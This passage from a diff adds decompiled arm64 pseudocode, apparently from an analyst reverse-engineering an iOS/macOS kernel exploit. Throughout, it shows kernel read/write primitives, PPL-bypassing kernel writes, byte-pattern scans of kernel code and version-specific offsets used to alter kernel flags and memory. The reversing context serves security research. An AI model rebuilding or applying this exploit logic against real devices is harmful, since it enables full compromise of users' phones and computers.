*)a1 + 0x64F); + if ( v5 != 0xFFFFFFFF ) + { + close(v5); + *((_DWORD *)a1 + 0x64F) = 0xFFFFFFFF; + } + v6 = *((_DWORD *)a1 + 0x650); + if ( v6 != 0xFFFFFFFF ) + { + close(v6); + *((_DWORD *)a1 + 0x650) = 0xFFFFFFFF; + } + v7 = *((_DWORD *)a1 + 0x64C); + if ( v7 != 0xFFFFFFFF ) + { + close(v7); + *((_DWORD *)a1 + 0x64C) = 0xFFFFFFFF; + } + v8 = *((_DWORD *)a1 + 0x64D); + if ( v8 != 0xFFFFFFFF ) + { + close(v8); + *((_DWORD *)a1 + 0x64D) = 0xFFFFFFFF; + } + fd_close(v27); + } + } + if ( *((_QWORD *)a1 + 5) ) + sub_26B00((__int64)a1, 1); + if ( *((_QWORD *)a1 + 0x2B) >= 0x27120F04B00003uLL && (*a1 & 0x20) != 0 ) + sub_A9CC((__int64)a1); + if ( *((_QWORD *)a1 + 0x3A9) ) + { + v27 = 0xFFFFFFFF; + if ( !(unsigned int)fd_open_dev_null(&v27) ) + { + sub_28D44((__int64)a1); + fd_close(v27); + } + } + if ( (unsigned int)(*((_DWORD *)a1 + 0x17) + 1) >= 2 ) + { + v27 = 0xFFFFFFFF; + if ( !(unsigned int)fd_open_dev_null(&v27) ) + { + sub_27478((__int64)a1); + fd_close(v27); + } + } + if ( (unsigned int)(*((_DWORD *)a1 + 0x2B) + 1) >= 2 ) + { + v27 = 0xFFFFFFFF; + if ( !(unsigned int)fd_open_dev_null(&v27) ) + { + sub_2811C((__int64)a1); + fd_close(v27); + } + } + sub_25C6C((__int64)a1); + mach_port_deallocate(mach_task_self_, *((_DWORD *)a1 + 0x648)); + v9 = *((_DWORD *)a1 + 0x649); + if ( v9 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v9); + v10 = *((_DWORD *)a1 + 4); + if ( v10 + 1 >= 2 ) + IOObjectRelease(v10); + if ( (unsigned int)(*((_DWORD *)a1 + 0x636) + 1) >= 2 ) + *((_DWORD *)a1 + 0x636) = 0; + v11 = *((_QWORD *)a1 + 0x23); + if ( v11 ) + { + v12 = *((_QWORD *)a1 + 0x24); + if ( v12 ) + vm_deallocate(mach_task_self_, v11, v12); + } + v13 = *((_DWORD *)a1 + 0x99); + if ( v13 + 1 >= 2 ) + { + semaphore_destroy(mach_task_self_, v13); + *((_DWORD *)a1 + 0x99) = 0; + } + if ( !pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x330)) ) + { + v14 = (_DWORD *)*((_QWORD *)a1 + 0x6E); + *((_QWORD *)a1 + 0x6E) = 0LL; + if ( v14 ) + { + do + { + v15 = v14[7]; + if ( v15 + 1 >= 2 ) + mach_port_mod_refs(mach_task_self_, v15, 1u, 0xFFFFFFFF); + v16 = *(_DWORD **)v14; + *((_QWORD *)v14 + 4) = 0LL; + *(_OWORD *)v14 = 0u; + *((_OWORD *)v14 + 1) = 0u; + free(v14); + v14 = v16; + } + while ( v16 ); + } + pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x330)); + } + pthread_mutex_destroy((pthread_mutex_t *)(a1 + 0x330)); + pthread_mutex_destroy((pthread_mutex_t *)(a1 + 0x268)); + v17 = *((_QWORD *)a1 + 0x3A3); + if ( v17 ) + { + sub_1A520(v17); + free(*((void **)a1 + 0x3A3)); + *((_QWORD *)a1 + 0x3A3) = 0LL; + } + v18 = *((_QWORD *)a1 + 0x3A4); + if ( v18 ) + { + sub_1A520(v18); + free(*((void **)a1 + 0x3A4)); + *((_QWORD *)a1 + 0x3A4) = 0LL; + } + v19 = *((_QWORD *)a1 + 0x3A5); + if ( v19 ) + { + sub_1A520(v19); + free(*((void **)a1 + 0x3A5)); + *((_QWORD *)a1 + 0x3A5) = 0LL; + } + v20 = *((_QWORD *)a1 + 0x3A6); + if ( v20 ) + { + sub_1A520(v20); + free(*((void **)a1 + 0x3A6)); + *((_QWORD *)a1 + 0x3A6) = 0LL; + } + v21 = *((_QWORD *)a1 + 0x3A7); + if ( v21 ) + { + sub_1A520(v21); + free(*((void **)a1 + 0x3A7)); + *((_QWORD *)a1 + 0x3A7) = 0LL; + } + v22 = *((_QWORD *)a1 + 0x340); + if ( v22 ) + { + sub_1A520(v22); + free(*((void **)a1 + 0x340)); + *((_QWORD *)a1 + 0x340) = 0LL; + } + v23 = *((_QWORD *)a1 + 0x33F); + if ( v23 ) + { + sub_1A520(v23); + free(*((void **)a1 + 0x33F)); + *((_QWORD *)a1 + 0x33F) = 0LL; + } + v24 = (void *)*((_QWORD *)a1 + 0x3A2); + if ( v24 ) + { + free(v24); + *((_QWORD *)a1 + 0x3A2) = 0LL; + *((_DWORD *)a1 + 0x742) = 0; + } + v25 = *((_DWORD *)a1 + 0x3A); + if ( v25 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v25); + *((_DWORD *)a1 + 0x3A) = 0; + } + bzero(a1, 0x1D60uLL); + free(a1); + return 0LL; +} + +//----- (000000000003F8C0) ---------------------------------------------------- +__int64 __fastcall set_flags_something_INEEDTOLOOK_sub_3F8C0(__int64 a1, unsigned int a2, int a3, int a4) +{ + __int64 result; // x0 + unsigned __int64 v8; // x22 + unsigned int v9; // w9 + int v10; // w2 + int v11; // [xsp+Ch] [xbp-34h] BYREF + + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + { + v8 = sub_345D4(a1, a2); + if ( !v8 ) + return 0LL; + } + else + { + result = sub_34358((_DWORD *)a1, a2); + if ( !result ) + return result; + v8 = result + 0x28; + if ( result == 0xFFFFFFFFFFFFFFD8LL ) + return 0LL; + } + result = kread32_outptr(a1, v8, &v11); + if ( !(_DWORD)result ) + return result; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + v9 = 0xF0000000; + else + v9 = 0xFFFFFFFE; + if ( (v9 & v11) != 0 ) + return 0LL; + if ( a4 ) + v10 = v11 | a3; + else + v10 = v11 & ~a3; + if ( v10 == v11 ) + return 1LL; + result = ppl_kwrite32(a1, v8, v10); + if ( (_DWORD)result ) + return 1LL; + return result; +} + +//----- (000000000003F9A0) ---------------------------------------------------- +__int64 __fastcall sub_3F9A0(_DWORD *a1, bool *a2) +{ + __int64 result; // x0 + unsigned __int8 v5; // [xsp+Fh] [xbp-21h] BYREF + __int64 v6; // [xsp+10h] [xbp-20h] BYREF + __int64 v7; // [xsp+18h] [xbp-18h] BYREF + + v6 = 0LL; + v7 = 0LL; + result = sub_3FB84((__int64)a1, &v7, &v6); + if ( (_DWORD)result ) + { + krw_ctx_has_flag(a1, 0x5184001); + if ( (unsigned int)kreadbuf_last_1((__int64)a1, v7, 1LL, (__int64)&v5) && v5 <= 1u ) + { + *a2 = v5 != 0; + return 1LL; + } + else + { + return 0LL; + } + } + return result; +} + +//----- (000000000003FA2C) ---------------------------------------------------- +__int64 __fastcall sub_3FA2C(_DWORD *a1, int a2) +{ + __int64 result; // x0 + unsigned __int64 v5; // x22 + unsigned __int64 v6; // x21 + int v7; // w8 + __int64 v8; // x21 + unsigned __int8 v9; // [xsp+Eh] [xbp-32h] BYREF + unsigned __int8 v10; // [xsp+Fh] [xbp-31h] BYREF + unsigned __int64 v11; // [xsp+10h] [xbp-30h] BYREF + unsigned __int64 v12; // [xsp+18h] [xbp-28h] BYREF + + v11 = 0LL; + v12 = 0LL; + result = sub_3FB84((__int64)a1, (__int64 *)&v11, (__int64 *)&v12); + if ( (_DWORD)result ) + { + if ( krw_ctx_has_flag(a1, 0x5184001) ) + { + v5 = v12; + if ( !(unsigned int)kreadbuf_last_1((__int64)a1, v12, 1LL, (__int64)&v10) ) + return 0LL; + if ( v10 > 1u ) + return 0LL; + v6 = v11; + if ( !(unsigned int)kreadbuf_last_1((__int64)a1, v11, 1LL, (__int64)&v9) ) + return 0LL; + v7 = v9; + if ( v9 > 1u ) + return 0LL; + if ( v10 != a2 ) + { + v10 = a2; + if ( !(unsigned int)ppl_kwritebuf((__int64)a1, v5, (__int64)&v10, 1) ) + return 0LL; + v7 = v9; + } + if ( v7 != a2 ) + { + v9 = a2; + if ( !(unsigned int)ppl_kwritebuf((__int64)a1, v6, (__int64)&v9, 1) ) + return 0LL; + } + } + else + { + v8 = v11; + if ( !(unsigned int)kreadbuf_last_1((__int64)a1, v11, 1LL, (__int64)&v10) ) + return 0LL; + if ( v10 > 1u ) + return 0LL; + if ( v10 != a2 ) + { + v10 = a2; + if ( !(unsigned int)kwritebuf_last_1((__int64)a1, v8, (__int64)&v10, 1LL) ) + return 0LL; + } + } + return 1LL; + } + return result; +} + +//----- (000000000003FB84) ---------------------------------------------------- +__int64 __fastcall sub_3FB84(__int64 a1, __int64 *a2, __int64 *a3) +{ + __int64 v6; // x8 + __int64 v7; // x22 + __int64 v8; // x23 + __int64 result; // x0 + __int64 v10; // x22 + int v11; // w22 + char *v12; // x1 + __int64 v13; // x23 + __int64 v15; // x8 + __int64 v16; // [xsp+0h] [xbp-50h] BYREF + __int64 v17; // [xsp+8h] [xbp-48h] + __int64 v18; // [xsp+10h] [xbp-40h] + __int64 v19; // [xsp+18h] [xbp-38h] BYREF + + v19 = 0LL; + v6 = *(_QWORD *)(a1 + 0x118); + if ( v6 && *(_QWORD *)(a1 + 0x120) ) + { + v7 = *(_QWORD *)(v6 + 0x148); + v19 = v7; + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) && v7 ) + { + *a2 = v7; + return 1LL; + } + v8 = *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x140LL); + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) && v7 && v8 != 0 ) + { + *a2 = v7; + *a3 = v8; + return 1LL; + } + } + else + { + v8 = 0LL; + } + if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) + { + sub_19C34("__TEXT_EXEC", *(_QWORD *)(a1 + 0x19F8), "__text", &v16); + result = 0LL; + if ( v17 ) + { + if ( v18 ) + { + result = kernel_pattern_scan((__int64)&v16, "08 01 40 39 08 01 00 12", 0); + if ( result ) + { + result = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(result - 0xC)); + if ( result ) + { + result = kread64((_DWORD *)a1, result, &v19); + if ( (_DWORD)result ) + { + result = v19; + *a2 = v19; + v10 = result - 1; + goto LABEL_40; + } + } + } + } + } + } + else if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + { + v11 = *(_DWORD *)(a1 + 0x140); + sub_39B70(a1, &v16); + result = 0LL; + if ( v17 && v18 ) + { + v12 = v11 <= 0x225B ? "6A 00 00 37 40 00 00 34" : "6B 00 00 37 40 00 00 34"; + result = kernel_pattern_scan((__int64)&v16, v12, 0); + if ( result ) + { + v13 = result; + result = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(result - 0x10)); + if ( result ) + { + v10 = result; + result = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v13 - 8)); + v19 = result; + if ( result ) + { + *a2 = result; + v8 = v10; +LABEL_40: + *a3 = v10; + v15 = *(_QWORD *)(a1 + 0x118); + if ( v15 ) + { + if ( *(_QWORD *)(a1 + 0x120) ) + { + *(_QWORD *)(v15 + 0x140) = v8; + *(_QWORD *)(v15 + 0x148) = result; + } + } + return 1LL; + } + } + } + } + } + else + { + sub_39B70(a1, &v16); + result = 0LL; + if ( v17 && v18 ) + { + if ( *(_QWORD *)(a1 + 0x158) < 0x225C192D100000uLL ) + { + result = kernel_pattern_scan((__int64)&v16, "09 FD 9F 08 C0 03 5F D6", 0); + if ( !result ) + return result; + result = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(result - 0xC)); + } + else + { + result = kernel_pattern_scan((__int64)&v16, "09 01 00 39 C0 03 5F D6", 0); + if ( !result ) + return result; + result = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(result - 0xC)); + if ( !result ) + return result; + result = sub_19B94(*(_QWORD *)(a1 + 0x19F8), result); + } + v19 = result; + if ( !result ) + return result; + v10 = 0LL; + *a2 = result; + goto LABEL_40; + } + } + return result; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (000000000003FE68) ---------------------------------------------------- +void __fastcall sub_3FE68(__int64 a1, task_inspect_t a2, host_t *a3) +{ + host_t v4; // w2 + int v6; // w0 + + v4 = *(_DWORD *)(a1 + 0x1920); + if ( v4 + 1 >= 2 ) + { + if ( *(_QWORD *)(a1 + 0x158) >= 0x1C1B1914600000uLL ) + { + sub_3B7E0(a1, a2, v4); + if ( !v6 ) + return; + v4 = *(_DWORD *)(a1 + 0x1920); + } + *a3 = v4; + } +} +// 3FEB8: variable 'v6' is possibly undefined + +//----- (000000000003FED4) ---------------------------------------------------- +_QWORD *__fastcall sub_3FED4(__int64 a1, __int64 a2) +{ + _QWORD *v4; // x21 + _QWORD *v5; // x22 + size_t v6; // x19 + void *v7; // x23 + __int64 v8; // x8 + + v4 = calloc(1uLL, 0x18uLL); + v5 = calloc(1uLL, 0x48uLL); + sub_1062C(a1, a2, (__int64)v5, 0x48LL); + *v4 = v5; + v6 = v5[4]; + v7 = malloc(v6); + sub_1062C(a1, v5[3], (__int64)v7, v6); + v8 = v5[4]; + v4[1] = v7; + v4[2] = v8; + return v4; +} + +//----- (000000000003FF78) ---------------------------------------------------- +__int64 __fastcall sub_3FF78(__int64 a1, _QWORD *a2, __int64 a3) +{ + return *(unsigned int *)(a2[1] + a3 - *(_QWORD *)(*a2 + 0x18LL)); +} + +//----- (000000000003FF8C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3FF8C(_QWORD **a1, __int64 a2, __int64 a3, unsigned int a4) +{ + return sub_3FFA0((__int64)a1, *a1, a2, a3, a4); +} + +//----- (000000000003FFA0) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3FFA0(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4, unsigned int a5) +{ + unsigned __int64 v5; // x8 + unsigned __int64 v6; // x9 + unsigned __int64 v7; // x10 + __int64 v8; // x12 + unsigned __int64 result; // x0 + + v5 = a2[1]; + v6 = v5 + a2[2] - 4LL * a5; + if ( v6 <= v5 ) + return 0LL; + v7 = a2[1]; + while ( a5 ) + { + v8 = 0LL; + while ( (*(_DWORD *)(a4 + v8) & *(_DWORD *)(v7 + v8)) == *(_DWORD *)(a3 + v8) ) + { + v8 += 4LL; + if ( 4LL * a5 == v8 ) + return v7 - v5 + *(_QWORD *)(*a2 + 0x18LL); + } + result = 0LL; + v7 += 4LL; + if ( v7 >= v6 ) + return result; + } + v7 = a2[1]; + return v7 - v5 + *(_QWORD *)(*a2 + 0x18LL); +} + +//----- (0000000000040024) ---------------------------------------------------- +unsigned __int64 __fastcall sub_40024(__int64 a1, __int64 a2, __int64 a3, unsigned int a4) +{ + return sub_3FFA0(a1, *(_QWORD **)(a1 + 8), a2, a3, a4); +} + +//----- (0000000000040038) ---------------------------------------------------- +_QWORD *__fastcall sub_40038(__int64 a1, const char *a2) +{ + unsigned __int64 *v4; // x0 + unsigned __int64 v5; // x21 + int v6; // w0 + int v7; // w22 + unsigned __int64 v8; // x21 + int v9; // w24 + unsigned int v10; // w23 + char __s1[8]; // [xsp+8h] [xbp-48h] BYREF + __int64 v13; // [xsp+10h] [xbp-40h] + + v4 = *(unsigned __int64 **)(a1 + 0x10); + v5 = *v4; + if ( (unsigned int)kread32((__int64)v4, *v4) != 0xFEEDFACF ) + return 0LL; + v6 = kread32(*(_QWORD *)(a1 + 0x10), v5 + 0x10); + if ( !v6 ) + return 0LL; + v7 = v6; + v8 = v5 + 0x20; + while ( 1 ) + { + v9 = kread32(*(_QWORD *)(a1 + 0x10), v8); + v10 = kread32(*(_QWORD *)(a1 + 0x10), v8 + 4); + if ( v9 == 0x19 ) + { + *(_QWORD *)__s1 = 0LL; + v13 = 0LL; + sub_1062C(*(_QWORD *)(a1 + 0x10), v8 + 8, (__int64)__s1, 0x10LL); + if ( !strcmp(__s1, a2) ) + break; + } + v8 += v10; + if ( !--v7 ) + return 0LL; + } + return sub_3FED4(*(_QWORD *)(a1 + 0x10), v8); +} + +//----- (000000000004014C) ---------------------------------------------------- +__int64 __fastcall sub_4014C(_QWORD *a1) +{ + _QWORD *v2; // x0 + bool v3; // zf + + *a1 = sub_40038((__int64)a1, "__TEXT_EXEC"); + v2 = sub_40038((__int64)a1, "__DATA_CONST"); + a1[1] = v2; + if ( v2 ) + v3 = *a1 == 0LL; + else + v3 = 1; + if ( v3 ) + return 5LL; + else + return 0LL; +} + +//----- (00000000000401A4) ---------------------------------------------------- +__int64 __fastcall sub_401A4(__int64 result, __int64 a2) +{ + unsigned int v2; // w8 + unsigned int v3; // w9 + + v2 = *(_DWORD *)(result + 0x180); + if ( !((unsigned int)a2 % v2) ) + return a2; + v3 = 2 * v2; + if ( 2 * v2 > 0x8000 ) + return *(unsigned int *)(result + 0x180); + LODWORD(result) = *(_DWORD *)(result + 0x180); + do + { + if ( 0x64 * (v3 % (unsigned int)a2) / v3 >= 0x64 * ((unsigned int)result % (unsigned int)a2) / (unsigned int)result ) + result = (unsigned int)result; + else + result = v3; + v3 += v2; + } + while ( v3 <= 0x8000 ); + return result; +} + +//----- (0000000000040210) ---------------------------------------------------- +__int64 __fastcall sub_40210(__int64 a1) +{ + unsigned int v1; // w8 + + v1 = 4 * *(_DWORD *)(a1 + 0x180); + if ( v1 <= 0x4000 ) + v1 = 0x4000; + return (v1 >> 1) | 1; +} + +//----- (0000000000040230) ---------------------------------------------------- +__int64 __fastcall sub_40230(__int64 a1, _OWORD *a2, _DWORD *a3) +{ + int v3; // w8 + __int64 result; // x0 + bool v5; // zf + int v6; // w9 + + v3 = *(_DWORD *)(a1 + 0x140); + result = 0xFFFFFFFFLL; + if ( v3 > 0x2257 ) + { + v5 = v3 == 0x2258 || v3 == 0x2712; + v6 = 0x225C; + } + else + { + v5 = (unsigned int)(v3 - 0x1F53) < 2 || v3 == 0x1809; + v6 = 0x1C1B; + } + if ( v5 || v3 == v6 ) + { + if ( a2 ) + { + if ( *a3 < 0x1Bu ) + return 0xFFFFFFFFLL; + *a2 = xmmword_43760; + a2[1] = unk_43770; + *(_OWORD *)((char *)a2 + 0x5C) = unk_437BC; + a2[4] = xmmword_437A0; + a2[5] = unk_437B0; + a2[2] = xmmword_43780; + a2[3] = unk_43790; + } + result = 0LL; + *a3 = 0x1B; + } + return result; +} +// 43760: using guessed type __int128 xmmword_43760; +// 43780: using guessed type __int128 xmmword_43780; +// 437A0: using guessed type __int128 xmmword_437A0; + +//----- (00000000000402CC) ---------------------------------------------------- +__int64 __fastcall sub_402CC(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v4; // x8 + unsigned int *i; // x9 + unsigned int v6; // [xsp+4h] [xbp-11Ch] BYREF + _OWORD v7[16]; // [xsp+8h] [xbp-118h] BYREF + + v6 = 0x40; + if ( (unsigned int)sub_40230(a1, v7, &v6) ) + return 0LL; + v4 = v6; + if ( !v6 ) + return 0LL; + for ( i = (unsigned int *)v7; ; ++i ) + { + result = *i; + if ( (unsigned int)result >= a2 ) + break; + if ( !--v4 ) + return 0LL; + } + return result; +} + +//----- (0000000000040364) ---------------------------------------------------- +__int64 __fastcall sub_40364(__int64 a1, unsigned __int64 a2, unsigned int a3, unsigned int a4) +{ + unsigned __int64 v4; // x10 + __int64 v5; // x8 + unsigned __int64 v6; // x11 + unsigned __int64 v7; // x12 + unsigned __int64 v8; // x10 + unsigned __int64 v9; // x10 + + v4 = *(unsigned int *)(a1 + 0x180); + if ( (_DWORD)v4 == a4 ) + { + a2 &= ~*(_QWORD *)(a1 + 0x188); + } + else + { + v5 = a4 % a3; + if ( *(_QWORD *)(a1 + 0x158) >> 0x2B < 0x44BuLL ) + v5 = 0LL; + v6 = a2 + a3; + v7 = v6 % v4; + v8 = v4 - v6 % v4; + if ( !v7 ) + v8 = 0LL; + v9 = v6 - a4 + v8; + while ( v5 != (*(_QWORD *)(a1 + 0x188) & a2) ) + { + a2 -= a3; + if ( a2 < v9 ) + return 0LL; + } + } + return a2; +} + +//----- (00000000000403E0) ---------------------------------------------------- +unsigned __int64 __fastcall sub_403E0(__int64 a1, const char *a2) +{ + int v4; // w8 + unsigned __int64 v5; // x21 + __int64 v6; // x23 + unsigned __int64 v7; // x0 + unsigned __int64 v8; // x22 + __int64 v9; // x25 + unsigned __int64 v10; // x0 + unsigned __int64 v11; // x23 + unsigned __int64 v12; // x8 + unsigned __int64 v13; // x0 + const char *v14; // x24 + char *v15; // x22 + char v16; // w26 + __int64 v17; // x27 + __int64 v18; // x0 + _QWORD v20[3]; // [xsp-10h] [xbp-F0h] + __int64 *v21; // [xsp+8h] [xbp-D8h] BYREF + unsigned __int64 v22; // [xsp+10h] [xbp-D0h] + __int64 v23; // [xsp+18h] [xbp-C8h] + _QWORD v24[3]; // [xsp+20h] [xbp-C0h] BYREF + _BYTE v25[80]; // [xsp+38h] [xbp-A8h] BYREF + + v4 = *(_DWORD *)(a1 + 0x140); + if ( (unsigned int)(v4 - 0x1F53) >= 2 ) + { + if ( v4 != 0x1C1B ) + return 0LL; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) + v5 = 0x88LL; + else + v5 = 0xA8LL; + v6 = 0x192LL; + } + else + { + v5 = 0xA8LL; + v6 = 0x289LL; + } + v7 = *(_QWORD *)(a1 + 0x19A0); + if ( v7 ) + goto LABEL_9; + __chkstk_darwin(); + if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) + v15 = "28 69 68 78 09 11 80 52"; + else + v15 = "08 29 40 92 09 15 80 52"; + v20[0] = v15; + v20[1] = 0LL; + v16 = 1; + v17 = 1LL; + if ( v15 ) + { +LABEL_22: + sub_19D10(*(_QWORD *)(a1 + 0x19F8), v24); + v18 = kernel_pattern_scan((__int64)v24, v15, 0); + if ( !v18 ) + goto LABEL_23; + v7 = sub_1E620(*(__int64 **)(a1 + 0x19F8), v18 + 8); + if ( v7 ) + { + *(_QWORD *)(a1 + 0x19A0) = v7; +LABEL_9: + v8 = v5 + v7; + v9 = v6 - 1; + do + { + v21 = *(__int64 **)(a1 + 0x19F8); + v22 = v8; + v23 = v5; + v10 = sub_197A8(&v21); + if ( !v10 ) + break; + v11 = v10; + sub_19AC4(*(_QWORD *)(a1 + 0x19F8), v10, v5, 0LL); + v12 = *(_QWORD *)(v11 + 0x10); + if ( v12 ) + { + v21 = *(__int64 **)(a1 + 0x19F8); + v22 = v12; + v23 = 0x50LL; + v13 = sub_197A8(&v21); + if ( v13 ) + { + v14 = (const char *)v13; + sub_19AC4(*(_QWORD *)(a1 + 0x19F8), v13, 0x50uLL, 0LL); + } + else + { + v14 = v25; + v25[0] = 0; + kreadbuf_last_1(a1, *(_QWORD *)(v11 + 0x10), 0x50LL, (__int64)v25); + } + if ( !strcmp(a2, v14) ) + return v8; + } + v8 += v5; + } + while ( --v9 ); + } + } + else + { +LABEL_23: + while ( (v16 & 1) != 0 ) + { + v16 = 0; + v15 = (char *)v20[v17]; + v17 = 2LL; + if ( v15 ) + goto LABEL_22; + } + } + return 0LL; +} +// 48940: using guessed type __int64 __chkstk_darwin(void); + +//----- (000000000004062C) ---------------------------------------------------- +__int64 __fastcall sub_4062C(__int64 a1, __int64 a2) +{ + __int64 v2; // x19 + int v4; // w8 + unsigned __int64 v8; // x21 + unsigned __int64 v9; // x23 + unsigned __int64 v10; // x27 + __int64 v11; // x24 + __int64 v12; // x0 + unsigned __int64 v13; // x0 + __int64 v14; // x0 + unsigned __int64 v15; // x0 + int v16; // w22 + __int64 v18; // [xsp+8h] [xbp-78h] BYREF + unsigned __int64 v19; // [xsp+10h] [xbp-70h] + __int64 v20; // [xsp+18h] [xbp-68h] + __int64 v21; // [xsp+20h] [xbp-60h] BYREF + __int64 v22; // [xsp+28h] [xbp-58h] BYREF + + v2 = 0xAD011LL; + v21 = 0LL; + if ( *(_QWORD *)(a1 + 0x158) < 0x1C1B1914600000uLL ) + return 0xAD008LL; + v4 = *(_DWORD *)(a1 + 0x140); + if ( (unsigned int)(v4 - 0x1F53) >= 2 && v4 != 0x2258 && v4 != 0x1C1B ) + return 0x2802CLL; + v8 = a2 + 0x28; + if ( !kread64((_DWORD *)a1, a2 + 0x28, &v22) ) + return 0x2800FLL; + if ( v22 ) + { + if ( validate_addr(a1, v22) ) + return 0LL; + else + return 0x28026LL; + } + sub_19C34("__DATA", *(_QWORD *)(a1 + 0x19F8), "__data", &v18); + v9 = v19; + if ( !v19 || !v20 ) + return 0x2800FLL; + v10 = v19 + v20 - 0x100; + if ( v19 < v10 ) + { + v11 = v18; + while ( 1 ) + { + v12 = sub_19B94(v11, v9); + v13 = sub_29CB0((_DWORD *)a1, v12); + if ( validate_addr_maybe2(a1, v13) ) + { + if ( !sub_19B94(v11, v9 + 8) && sub_19B94(v11, v9 + 0x10) == 0xA ) + { + if ( sub_19B94(v11, v9 + 0x18) ) + { + v14 = sub_19B94(v11, v9 + 0x20); + v15 = sub_29CB0((_DWORD *)a1, v14); + if ( validate_addr_maybe2(a1, v15) ) + break; + } + } + } + v9 += *(int *)(a1 + 0x168); + if ( v9 >= v10 ) + return v2; + } + if ( v9 ) + { + if ( !noppl_kwrite32(a1, a2 + 0x88, 0x10000) || !(unsigned int)kwritebuf_last_1(a1, v9 + 0x18, (__int64)&v21, 8LL) ) + return 0x28010LL; + v16 = 0x14; + v2 = 0xAD00BLL; + while ( 1 ) + { + sub_2AABC(a1, 0x3D090u); + if ( !kread64((_DWORD *)a1, v8, &v22) ) + break; + if ( v22 ) + return 0LL; + if ( !--v16 ) + return v2; + } + return 0x2800FLL; + } + } + return v2; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (000000000004087C) ---------------------------------------------------- +__int64 __fastcall sub_4087C( + __int64 a1, + __int64 a2, + mach_vm_size_t a3, + unsigned __int64 a4, + __int64 (__fastcall *a5)(__int64, __int64), + __int64 a6) +{ + unsigned int v11; // w26 + __int64 v12; // x25 + __int64 v13; // x8 + __int64 v14; // x24 + unsigned __int64 v15; // x8 + __int64 v16; // x9 + unsigned __int64 v17; // x15 + unsigned __int64 v18; // x16 + unsigned __int64 v19; // x17 + __int64 v20; // x8 + bool v21; // cc + int v22; // w0 + int v23; // w22 + int v24; // w8 + __int64 v25; // x0 + unsigned int v26; // w9 + __int64 v27; // x8 + int v28; // w22 + unsigned __int64 v29; // x1 + unsigned int v31; // [xsp+Ch] [xbp-184h] BYREF + __int64 v32; // [xsp+10h] [xbp-180h] BYREF + __int64 v33; // [xsp+18h] [xbp-178h] BYREF + unsigned __int64 v34; // [xsp+20h] [xbp-170h] BYREF + unsigned int v35; // [xsp+28h] [xbp-168h] BYREF + int v36; // [xsp+2Ch] [xbp-164h] BYREF + _OWORD v37[16]; // [xsp+30h] [xbp-160h] BYREF + + v36 = 0xFFFFFFFF; + v34 = 0LL; + LOWORD(v11) = 0xFFFF; + v12 = 0x2800FLL; + memset(v37, 0, sizeof(v37)); + v13 = 0x20LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL ) + v13 = 0x28LL; + if ( !kread64((_DWORD *)a1, v13 + a2, &v33) ) + { + v14 = 0x2800FLL; + goto LABEL_56; + } + if ( !validate_addr(a1, v33) ) + goto LABEL_13; + if ( (unsigned int)(a3 - 1) > 0xFF ) + { + v14 = 0x28011LL; + goto LABEL_56; + } + v15 = *(_QWORD *)(a1 + 0x158); + if ( v15 <= 0x1C1B19145FFFFFLL ) + { + v20 = a4 | 1; + } + else + { + v16 = 0LL; + v17 = a4; + v18 = a4; + v19 = a4; + while ( (*(_QWORD *)(a1 + 0x188) & v19) != 0 ) + { + v19 -= (unsigned int)a3; + v18 += 1LL - (unsigned int)a3; + v17 += 4LL - (unsigned int)a3; + if ( (_DWORD)++v16 == 0x400 ) + { + v32 = a4 - ((unsigned __int64)(unsigned int)a3 << 0xA); +LABEL_13: + v14 = 0x28026LL; + goto LABEL_56; + } + } + v21 = v15 > 0x1F52FFFFFFFFFFLL; + v20 = v17 | 1; + if ( v21 ) + v20 = v18; + } + v32 = v20; + v14 = fd_open_dev_null(&v36); + if ( (_DWORD)v14 ) + goto LABEL_56; + if ( !kwritebuf_last_0(a1, a4, v37, a3) ) + goto LABEL_55; + v22 = sub_1F190(); + if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) + { + if ( !kreadbuf_last_0(a1, v33 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v22), *(int *)(a1 + 0x168), &v34) ) + goto LABEL_50; + if ( !validate_addr(a1, v34) ) + { +LABEL_49: + v12 = 0x28026LL; + goto LABEL_50; + } + while ( 1 ) + { + while ( 1 ) + { + v28 = sub_1F190(); + if ( !kreadbuf_last_0(a1, v33 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v28), 4uLL, &v35) ) + goto LABEL_50; + v34 = v35 | ((unsigned __int64)HIDWORD(v34) << 0x20); + if ( !kreadbuf_last_0(a1, v34, 4uLL, &v31) ) + goto LABEL_50; + if ( !v31 ) + break; + if ( v31 > 8 ) + { +LABEL_51: + v12 = 0x28011LL; + goto LABEL_50; + } + if ( (unsigned int)sub_1F190() == v28 ) + { + v29 = v34 + (v31 - 1) * *(_DWORD *)(a1 + 0x168) + 8; + goto LABEL_53; + } + } + if ( a5 ) + { + v25 = a5(a1, a6); + if ( (_DWORD)v25 ) + break; + } + } +LABEL_48: + v12 = v25; +LABEL_50: + v14 = v12; + goto LABEL_56; + } + if ( !kreadbuf_last_0(a1, v33 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v22) + 8, *(int *)(a1 